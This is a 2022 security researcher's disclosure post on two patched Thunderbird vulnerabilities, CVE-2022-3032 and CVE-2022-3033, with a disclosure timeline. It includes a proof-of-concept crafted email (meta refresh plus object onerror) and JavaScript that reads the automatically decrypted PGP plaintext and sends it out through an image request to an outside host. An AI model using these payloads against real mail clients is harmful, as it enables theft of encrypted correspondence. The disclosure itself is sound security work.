Published: 2022-10-05
Exploit Disclosure: Turning Thunderbird into a Decryption Oracle
I recently disclosed several security and privacy vulnerabilities in Thunderbird. At worst these vulnerabilities can by exploited by an adversary with access to a collection of intercepted encrypted messages to trick Thunderbird into decrypting any given message and sending the resulting plaintext back to the adversary. This attack worked with Thunderbird default configuration, i.e. even when load remote resources are disabled
Yes, this is as bad as it sounds
Prior to reading, if you are a Thunderbird user, and especially if you use Thunderbird for encrypted email, I recommend that you upgrade to the latest version of Thunderbird immediately.
At time of writing, 102.3
Part One: Thunderbird Basics and Theory of Exploitation
By default, Thunderbird renders all messages in the “Original HTML” view, with remote resources, and scripting, disabled.
When Thunderbird receives an email containing armored PGP ciphertext it will attempt to decrypt the message and display the plaintext inline.
We assume that an adversary is capable of intercepting ciphertexts to the client (why else encrypt the email?) and, as such, has a stash of encrypted messages that they would like to know the plaintext of.
As such, our goal with this exploit is to:
- Send a message containing intercepted Ciphertext to the Thunderbird Client
- Have the Thunderbird Client Decrypt the Message
- Bypass Javascript Blocking in order to access the plaintext message content
- Bypass Remote Resource Loading in order to leak the plaintext message content
Part 1: Bypassing Javascript, and accessing Decrypted Message Content
As noted above, Thunderbird blocks all Javascript from executing in the context of reading and replying to a message.
However, through fuzzing, we were able to find that when opening a
text/html
email containing a meta
tag with a
refresh
directive, in the compose window, we were able to
trigger a refresh of the rendering context.
This refresh had two side effects:
- The URL in the Refresh Directive was accessed by Thunderbird (resulting in a privacy leak)
- Certain scripting protections in Thunderbird were bypassed including
onerror
events of certain media tags likeobject
andonmouseover
events of similar elements.
By also including an object
tag referencing an invalid
url we were able to execute javascript in the onerror
handler.
However, getting access to the plaintext of a ciphertext was a little more difficult. Thunderbird does not automatically decrypt armored ciphertext in HTML bodies, and so we needed a way to combine both a ciphertext and HTML.
Part 1(a): Mimetypes to the Rescue
Email is a wonderful thing. Using the multipart/mixed
mimetype we can combine multiple different payloads together.
Rendering the ciphertext requires the headers:
Content-Type: text/plain; Content-Disposition: inline;
Rendering the html requires
Content-Type: text/html; Content-Disposition: inline;
Combing them together and you get something like this:
From: FuzzBot<a@example.org>
To: contact@example.org
Subject: Fuzz Case 14 text/html
Date: Wed, 11 May 2024 14:31:59 +0000
Content-Type: multipart/mixed;
protocol="application/pgp-encrypted";
boundary="------------K0AHeKyQeF8NinA1KkpcqEHX"
--------------K0AHeKyQeF8NinA1KkpcqEHX
Content-Type: text/plain;
Content-Disposition: inline;
-----BEGIN PGP MESSAGE-----
hQGMAyEQZSj65DVQAQwAgiv9UYSEk4zW57CnH0AlSkzNh4MxW/cFNKYKTnoA/Bvz
SI0OGyK40DKwlIZO1HDJFPCif304ZzKoxNX9ZwU6SSBdGSipglNgkmkOoyTWBBh4
Zanuq0X33vcKGEMw4wFZMoXGs5DhEoPdSDUymChsGiBPUrKBKxiIQClOlIoOEMno
UEylS2IVOhAg720aCWp/ymbjJM909Tp5h3H3pJCIanyyO2R6TA/+x48i3Mc4m3me
OIhFFP/7EfpUiLQzrGLJONsvm/5fc+GP+pRCYosKs5TKdN0d4G9e9L7JXAshb/1C
lJ3ZZWF1loAGwgmE5zrk/i3nV+Z1xLogV6L8l7YYys2tiFomvz6zolqOu3UKanfh
AG1ae6LWYOVNPF1izSftC99wZ/09kCOzkMXJ5l21eOqGTXtS9UrgOGS+N12p50Lf
70rz9tdrKoxb9zRdX5GakAAF9Nl3NUmfNo4Sxgq5YobGYYHPV5HNPHayLb14F7AG
wgJCeCRSZ4N60toLXjhK0k4BP4lWUfT+Qc1K+eJCjo9sNnAjQr1WANfuViEVcsQ/
w1RDMR/MPxtfAL4y+Hm/PDDJQFS+MICDSEAIy1scr+xhmfv8WBapX+eiYaO33RQ=
=thh0
-----END PGP MESSAGE-----
--------------K0AHeKyQeF8NinA1KkpcqEHX
Content-Type: text/html;
Content-Disposition: inline;
<meta http-equiv="refresh" content="0;URL='http://localhost:8090'" /><div id="demo"></demo><object onerror="<javascript payload>" data="notarealaddress" width="400" height="300"></object>`
The above email, when opened in the reply/forward window of a vulnerable Thunderbird client (with a loaded private key), will automatically decrypt the ciphertext, and run the javascript payload.
We can get access to the decrypted message using the following payload (expanded for clarity):
// test function to check if Thunderbird has automatically decrypted our payload yet
function test(x){
// look for PGP header at the start of the email...
if(x.indexOf('PGP') > 200) {
alert('plaintext:' + x)
} else {
// cause another refresh...
document.getElementById('demo').innerHTML =x ;
}
};
var x = parent.document.body.innerHTML;
test(x);
Part 2: Leaking the Plaintext
Even though we have Javascript execution we are still bound to the
laws of the container, which forbid various remote resource access and
loading (e.g. XMLHttpRequests
are blocked).
However, it turns out that in the context of the content editing window, inserted images will attempt to load remote resources. So we can simply use the same innerHTML trick to insert an image.
As such we can modify our payload:
// look for PGP header at the start of the email...
if(x.indexOf('PGP') > 200) {
// insert a new img tag pointing to our leaking domain, referencing the leaked data
parent.document.body.innerHTML+='<img src=http://pseudorandom.resistant.tech:8009?x='+encodeURIComponent(x)+'>'
}
When executed, this will cause the client to insert an image refrenceing the decrytped paylaod, which will cause Thunderbird to make a request to the target server:
"GET /?x=%3Cbr%3EOn%202024-05-11%2007%3A31%2C%20FuzzBot%20wrote%3A%3Cbr%3E%3Cblockquote%20type%3D%22cite%22%3Esecret%20things%3....
If you did not see it yet, secret things
is the
decrypted plaintext of the payload ciphertext.
Put together this allows any adversary with access to intercepted encrypted messages to trick the target into decrypted the message and sending the resulting plaintext back.
Appendix
Finding the Bugs
I found these bugs while fuzzing Thunderbird. I set up an IMAP server which delivered a constant stream of weirdly formatted messages to Thunderbird, and then spent an afternoon going through them, trying actions like opening them, replying to them etc.
Most of the messages contained references to a target server which
was setup to log any access attempts. Through this I was able to
identify remote resource leaks like the iframe
srcdoc
issue.
Many of the messages also contained common script-injection
constructs, and while going through the generated emails I happened to
hit a few that triggered an alert
when replied to.
The development of the PGP IMAP construction and resultant exploit was done by hand one morning.
Disclosure Timeline
- 2022-08-09 - I reported the iframe srcdoc vulnerability as a privacy leak
- 2022-08-14 - I found and reported the meta refresh / script execution vulnerability
- 2022-08-29 - After some back-and-forth with Thunderbird devs regarding the seriousness of the vulnerability I constructed the PoC demonstrating the automatic PGP decryption and leaking vulnerability
- 2022-08-31 - Thunderbird 102.2.1 was released with fixes for the two reported issues
- 2022-09-19 - Thunderbird 91.13.1 was released with the fixes for the two reported issues backported.
- 2022-10-05 - This blog post is released.
CVE-2022-3033 - Leaking of sensitive information when composing a response to an HTML email with a META refresh tag
If a Thunderbird user replied to a crafted HTML email containing a META tag, with the META tag having the http-equiv=“refresh” attribute, and the content attribute specifying an URL, then Thunderbird started a network request to that URL, regardless of the configuration to block remote content. In combination with certain other HTML elements and attributes in the email, it was possible to execute JavaScript code included in the message in the context of the message compose window. The JavaScript code could then access the contents of the message compose window, including the quoted original message, which could potentially contain the decrypted plaintext of encrypted data that was included in the crafted email.
For context, Thunderbird will automatically decrypt armoured PGP messages within emails, and in the compose window will include the decrypted contents of those ciphertexts.
This vulnerability allows javascript to be executed within the context of the compose window.
If an adversary is in possession of a ciphertext they know is associated with a key loaded into a thunderbird client, then the adversary can craft a message containing that ciphertext. If the victim opens the compose window (to reply or forward the message, for example), the ciphertext will be automatically decrypted, and an exploit can then leak the decrypted contents back to the adversary - effectively turning any Thunderbird application into a decryption oracle.
Aside from the main exploit, this vulnerability be used to run arbitrary javascript including altering the contents of the compose window, generating alert/dialog boxes, and accessing other APIs like performance.
Combined with other vulnerabilities documented here, any exploit can load remote resources and leak any data accessible, or given to, the compose window.
As commentary, I will also add that many discovered disclosed vulnerabilities in the Firefox/Thunderbird rendering engine come with a disclaimer that:
In general, these flaws cannot be exploited through email in the Thunderbird product because scripting is disabled…
This issue allows javascript to be run when replying to email, potentially opening up the exploit window further.
CVE-2022-3032: Remote content specified in an HTML document that was nested inside an iframe’s srcdoc attribute was not blocked
When receiving an HTML email that contained an IFRAME element, which used a SRCDOC attribute to define the inner HTML document, remote objects specified in the nested document, for example images or videos, were not blocked. Rather, the network was accessed, the objects were loaded and displayed.
This vulnerability would allow an adversary to know when an email was read, and expose the IP address (in addition to mail client version, etc.) of the reader. As we have seen, this vulnerability can also be combined with others, to leak other information from the Thunderbird client.
Exploiting this only requires sending an email that you can convince someone to preview, no further engagement is required.